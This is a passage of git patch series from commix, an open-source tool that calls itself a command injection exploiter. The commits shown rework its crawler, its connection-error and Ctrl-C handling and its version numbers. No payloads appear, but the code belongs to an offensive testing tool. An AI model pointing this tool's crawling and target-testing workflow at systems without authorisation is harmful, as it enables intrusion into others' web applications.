not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + settings.MULTI_TARGETS = True + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if re.search(r"(.*?)\?(.+)", url): + url_num += 1 + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -794,7 +837,7 @@ def main(filename, url): print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) for url in clean_bulkfile: url_num += 1 - print(settings.print_question_msg("URL #" + str(url_num) + " - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -822,7 +865,6 @@ def main(filename, url): elif message in settings.CHOICE_QUIT: raise SystemExit() - else: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index b810398374..18ae47ec20 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -134,7 +134,7 @@ def http_open(self, req): self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url=req) def https_open(self, req): try: @@ -142,7 +142,7 @@ def https_open(self, req): self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url=req) opener = _urllib.request.build_opener(connection_handler()) if len(settings.HTTP_METHOD) != 0: @@ -214,12 +214,12 @@ def https_open(self, req): if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) - if not settings.PERFORM_CRACKING and \ + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_SKIPPED_URLS == 0: + not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5f6633f2e4..a1c4035cc6 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,13 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch: + if settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " redirection_option = _input(settings.print_question_msg(question_msg)) else: redirection_option = "" if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: + if menu.options.batch and not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) return checks.check_http_s(response.geturl()) @@ -87,7 +89,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: - checks.connection_exceptions(err_msg) + checks.connection_exceptions(err_msg, url) else: pass diff --git a/src/utils/common.py b/src/utils/common.py index befb641560..da159bd01a 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,6 +27,15 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib + +def extract_regex_result(regex, content): + result = None + if regex and content and "?P" in regex: + match = re.search(regex, content) + if match: + result = match.group("result") + return result + """ Returns True if the current process is run under admin privileges """ diff --git a/src/utils/crawler.py b/src/utils/crawler.py index decfb487a6..a9f526f804 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -14,18 +14,25 @@ """ import re import sys +import socket import tempfile from src.utils import menu from src.utils import settings +from src.utils.common import extract_regex_result from src.core.injections.controller import checks from src.core.requests import headers +from socket import error as SocketError +from src.core.requests import redirection +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -SITEMAP_LOC = [] -HREF_LIST = [] +sitemap_loc = [] +visited_hrefs = [] +crawled_hrefs = [] +new_crawled_hrefs = [] def store_crawling(): while True: @@ -52,29 +59,6 @@ def store_crawling(): sys.stdout.flush() pass -""" -Do a request to target URL. -""" -def request(url): - try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.URLError as err_msg: - settings.CRAWLED_SKIPPED_URLS += 1 - if settings.CRAWLED_SKIPPED_URLS == 1: - print(settings.SINGLE_WHITESPACE) - err_msg = str(err_msg) + " - Skipping " + str(url) - sys.stdout.write(settings.print_critical_msg(err_msg)) - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - """ Check for URLs in sitemap.xml. """ @@ -88,7 +72,8 @@ def sitemap(url): content = checks.page_encoding(response, action="decode") for match in re.finditer(r"\s*([^<]+)", content or ""): url = match.group(1).strip() - SITEMAP_LOC.append(url) + if url not in sitemap_loc: + sitemap_loc.append(url) if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." @@ -111,16 +96,62 @@ def sitemap(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - return SITEMAP_LOC + return sitemap_loc except: if not menu.options.crawldepth: raise SystemExit() pass """ -Grab the crawled hrefs. +Store the identified (valid) hrefs. +""" +def store_hrefs(href, identified_hrefs, redirection): + if href not in crawled_hrefs: + if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + new_crawled_hrefs.append(href) + identified_hrefs = True + crawled_hrefs.append(href) + return identified_hrefs +""" +Do a request to target URL. """ -def crawling(url): +def request(url): + try: + # Check if defined POST data + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(url) + headers.do_check(request) + headers.check_http_traffic(request) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if not menu.options.ignore_redirects: + href = redirection.do_check(request, url) + if href != url: + store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS += 1 + # if settings.CRAWLING_DEPTH == 1: + print(settings.SINGLE_WHITESPACE) + checks.connection_exceptions(err_msg, url) + if settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) + +""" +The crawing process. +""" +def do_process(url): + identified_hrefs = False + if settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) + else: + if settings.CRAWLED_SKIPPED_URLS == 0: + sys.stdout.write("\r") + + # Grab the crawled hrefs. try: response = request(url) content = checks.page_encoding(response, action="decode") @@ -133,48 +164,37 @@ def crawling(url): tags = [] tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) + for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: - href = _urllib.parse.urljoin(url, href) - if _urllib.parse.urlparse(url).netloc in href: - if not re.search(r"\?(v=)?\d+\Z", href) and not \ - re.search(r"(?i)\.(js|css)(\?|\Z)", href) and \ - href.split('.')[-1].lower() not in settings.CRAWL_EXCLUDE_EXTENSIONS: - if request(href): - HREF_LIST.append(href) - if len(HREF_LIST) != 0: - return list(set(HREF_LIST)) + href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) + if _urllib.parse.urlparse(url).netloc in href: + if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if not re.search(r"\?(v=)?\d+\Z", href) and \ + not re.search(r"(?i)\.(js|css)(\?|\Z)", href): + identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) + + if len(crawled_hrefs) != 0: + if identified_hrefs: + if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1: + return list(set(new_crawled_hrefs)) + return list(set(crawled_hrefs)) + return list("") else: - if not settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) warn_msg = "No usable links found." print(settings.print_warning_msg(warn_msg)) raise SystemExit() - except (UnicodeEncodeError, ValueError) as e: # for non-HTML files and non-valid links - pass - -""" -The crawing process. -""" -def do_process(url): - try: - crawled_href = [] - for url in crawling(url): - crawled_href.append(url) - return crawled_href - except TypeError: + except Exception as e: # for non-HTML files and non-valid links pass - + """ The main crawler. """ def crawler(url): - if not menu.options.sitemap_url: - info_msg = "Starting crawler and searching for " - info_msg += "links with depth " + str(menu.options.crawldepth) + "." - print(settings.print_info_msg(info_msg)) - else: + info_msg = "Starting crawler for target URL '" + url + "'" + print(settings.print_info_msg(info_msg)) + if menu.options.sitemap_url: message = "" if not menu.options.crawldepth: while True: @@ -217,15 +237,11 @@ def crawler(url): # Change the crawling depth level. if message in settings.CHOICE_YES: while True: - question_msg = "Please enter the crawling depth level (1-2) > " + question_msg = "Please enter the crawling depth level: > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass else: menu.options.crawldepth = message break @@ -257,68 +273,37 @@ def crawler(url): message = "n" sitemap_check = True break - if sitemap_check: output_href = sitemap(url) if output_href is None : sitemap_check = False - info_msg = "Checking " - if sitemap_check: - info_msg += "identified 'sitemap.xml' " - info_msg += "for usable links (with GET parameters). " - if message in settings.CHOICE_NO and not menu.options.sitemap_url: - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - else: - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not sitemap_check: output_href = do_process(url) - if int(menu.options.crawldepth) > 1: - for url in output_href: - output_href = do_process(url) - if settings.CRAWLED_SKIPPED_URLS == 0: - print(settings.SINGLE_WHITESPACE) - - if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: - print(settings.SINGLE_WHITESPACE) - info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - filename = store_crawling() - valid_url_found = False - try: - url_num = 0 - valid_urls = [] - for check_url in output_href: - if re.search(r"(.*?)\?(.+)", check_url): - valid_url_found = True - url_num += 1 - print(settings.print_question_msg("URL #" + str(url_num) + " - " + check_url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(check_url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - return check_url - elif message in settings.CHOICE_NO: + while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth): + info_msg = "Searching for usable " + info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "." + print(settings.print_info_msg(info_msg)) + if settings.CRAWLING_DEPTH != 1: + output_href = new_crawled_hrefs + link = 0 + if output_href is not None: + for url in output_href: + link += 1 + if url not in visited_hrefs: + visited_hrefs.append(url) + do_process(url) + info_msg = str(link) + info_msg += "/" + str(len(output_href)) + " links visited." + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping '" + check_url + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - raise SystemExit() - except TypeError: - pass - if not valid_url_found: - print(settings.SINGLE_WHITESPACE) - raise SystemExit() + print(settings.SINGLE_WHITESPACE) + if link != 0: + print(settings.SINGLE_WHITESPACE) + settings.CRAWLING_DEPTH += 1 + + output_href = crawled_hrefs + return output_href # eof \ No newline at end of file diff --git a/src/utils/menu.py b/src/utils/menu.py index 154d7d8195..b1c3b651ed 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -163,7 +163,7 @@ def banner(): default=0, dest="crawldepth", type="int", - help="Crawl the website starting from the target URL (1-2, Default: 0).") + help="Crawl the website starting from the target URL (Default: 1).") target.add_option("-x", dest="sitemap_url", diff --git a/src/utils/settings.py b/src/utils/settings.py index 85b14e28f4..0da3a13f57 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1122,13 +1122,22 @@ def sys_argv_errors(): DECLARED_COOKIES = "" -CRAWLED_SKIPPED_URLS = 0 - MULTI_TARGETS = False # Identified Redirect code REDIRECT_CODE = "" +# Base64 padding BASE64_PADDING = "==" +# Crawling state +CRAWLING = False +CRAWLED_SKIPPED_URLS = 0 + +# Skipped crawled hrefs +HREF_SKIPPED = [] + +# Default crawling depth +CRAWLING_DEPTH = 1 + # eof \ No newline at end of file From 55264e5a9aaca8512094eff05e7f82fbc89edde6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 May 2022 08:19:08 +0300 Subject: [PATCH 130/560] Added support for normalizing crawling results. --- doc/CHANGELOG.md | 1 + src/utils/crawler.py | 33 ++++++++++++++++++++++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 182418a046..c8de73023b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a9f526f804..211c83acd9 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -303,7 +303,38 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) settings.CRAWLING_DEPTH += 1 - output_href = crawled_hrefs + output_href = crawled_hrefs + results = [] + while True: + if not menu.options.batch: + question_msg = "Do you want to normalize crawling results? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + seen = set() + for target in output_href: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + if len(results) != 0: + output_href = results + break + elif message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 0da3a13f57..6eee285fef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4c469390fddc01296b193968014d56b8fcde49e1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 7 May 2022 08:05:31 +0300 Subject: [PATCH 131/560] Fixes https://github.com/commixproject/commix/issues/766 (+ multiple other fixes / updates) --- src/core/enums.py | 58 -------- src/core/injections/controller/checks.py | 22 ++- src/core/injections/controller/controller.py | 140 +++++++++--------- src/core/main.py | 144 +++++++++---------- src/core/requests/parameters.py | 2 + src/core/requests/requests.py | 6 +- src/utils/crawler.py | 4 +- src/utils/settings.py | 2 +- 8 files changed, 172 insertions(+), 206 deletions(-) delete mode 100644 src/core/enums.py diff --git a/src/core/enums.py b/src/core/enums.py deleted file mode 100644 index 30f2b608f7..0000000000 --- a/src/core/enums.py +++ /dev/null @@ -1,58 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import settings - -""" -Runs the basic smoke testing -""" -def smoke_test(): - info_msg = "Executing smoke test." - print(settings.print_info_msg(info_msg)) - - _ = True - file_paths = [] - for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): - file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) - - for filename in file_paths: - if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: - path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) - path = path.replace(settings.COMMIX_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - if "." in path: - try: - __import__(path) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Succeeded importing '" + str(path) + "' module." - print(settings.print_debug_msg(debug_msg)) - except Exception as ex: - error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." - print(settings.print_error_msg(error_msg)) - _ = False - - result = "Smoke test " - if _: - result = result + "passed." - print(settings.print_bold_info_msg(result)) - else: - result = result + "failed." - print(settings.print_bold_error_msg(result)) - raise SystemExit() - - diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 80966a57c1..a76a4c49d5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -27,6 +27,7 @@ import gzip import zlib import traceback +from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import simple_http_server @@ -52,9 +53,20 @@ settings.READLINE_ERROR = True """ -Connection exceptions +User aborted procedure """ +def user_aborted(filename, url): + abort_msg = "User aborted procedure " + abort_msg += "during the " + assessment_phase() + abort_msg += " phase (Ctrl-C was pressed)." + print(settings.SINGLE_WHITESPACE) + print(settings.print_abort_msg(abort_msg)) + logs.print_logs_notification(filename, url) + os._exit(0) +""" +Connection exceptions +""" def connection_exceptions(err_msg, url): settings.VALID_URL = False try: @@ -64,7 +76,7 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) if "ssl" in str(error_msg): settings.MAX_RETRIES = 1 @@ -83,6 +95,7 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) + raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones" @@ -100,7 +113,7 @@ def connection_exceptions(err_msg, url): if settings.MAX_RETRIES > 1 and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")." + error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." if not url: _ = "" else: @@ -567,8 +580,7 @@ def continue_tests(err): print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: - print("\n") + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL - raise SystemExit() + raise """ Check if option is unavailable diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bd5099f9bb..198a678427 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -794,76 +794,80 @@ def basic_level_checks(): General check on every injection technique. """ def do_check(url, http_request_method, filename): - if settings.RECHECK_FILE_FOR_EXTRACTION: - settings.RECHECK_FILE_FOR_EXTRACTION = False - - # Check for '--tor' option. - if menu.options.tor: - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " - warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) + try: + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + + # Check for '--tor' option. + if menu.options.tor: + if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " + warn_msg += "time-based injections because of inherent high latency time." + print(settings.print_warning_msg(warn_msg)) - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 + # Check for "backticks" tamper script. + if settings.USE_BACKTICKS == True: + if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: + warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + + # Check for "wizard" switch. + if menu.options.wizard: + if perform_checks(url, http_request_method, filename) == False: + scan_level = menu.options.level + while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: + while True: + if not menu.options.batch: + question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) + question_msg += "' in order to perform more tests? [Y/n] > " + next_level = _input(settings.print_question_msg(question_msg)) else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - perform_checks(url, http_request_method, filename) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > 2: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" - else: - err_msg += " Try to remove the option '--alter-shell'" - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' value to perform" - err_msg += " more tests" - if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" - err_msg += "." - print(settings.print_critical_msg(err_msg)) + next_level = "" + if len(next_level) == 0: + next_level = "Y" + if next_level in settings.CHOICE_YES: + menu.options.level = int(menu.options.level + scan_level) + if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : + scan_level = scan_level + 1 + else: + break + elif next_level in settings.CHOICE_NO: + break + elif next_level in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + next_level + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + else: + perform_checks(url, http_request_method, filename) + + # All injection techniques seems to be failed! + if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: + err_msg = "All tested parameters " + if menu.options.level > 2: + err_msg += "and HTTP headers " + err_msg += "appear to be not injectable." + if not menu.options.alter_shell : + err_msg += " Try to use the option '--alter-shell'" + else: + err_msg += " Try to remove the option '--alter-shell'" + if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : + err_msg += " and/or increase '--level' value to perform" + err_msg += " more tests" + if menu.options.skip_empty: + err_msg += " and/or remove the option '--skip-empty'" + err_msg += "." + print(settings.print_critical_msg(err_msg)) - if not settings.MULTI_TARGETS: - logs.print_logs_notification(filename, url) + if not settings.MULTI_TARGETS: + logs.print_logs_notification(filename, url) + + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: + raise SystemExit() + + except KeyboardInterrupt: + checks.user_aborted(filename, url) - if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: - raise SystemExit() - # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index d1d6b53dc6..a0b5f4b21e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -59,6 +59,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -496,7 +497,7 @@ def main(filename, url): logs.print_logs_notification(filename, url) try: - + filename = "" # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -757,54 +758,6 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() - # Load the crawler - if settings.CRAWLING: - output_href = crawler.crawler(menu.options.url) - filename = crawler.store_crawling() - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: - settings.MULTI_TARGETS = True - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if re.search(r"(.*?)\?(.+)", url): - url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -824,20 +777,76 @@ def main(filename, url): sys.stdout.flush() raise SystemExit() else: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] settings.MULTI_TARGETS = True - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - url_num = 0 - print(settings.print_info_msg("Found a total of " + str(len(clean_bulkfile)) + " targets.")) - for url in clean_bulkfile: + + if settings.MULTI_TARGETS: + print(settings.SINGLE_WHITESPACE) + with 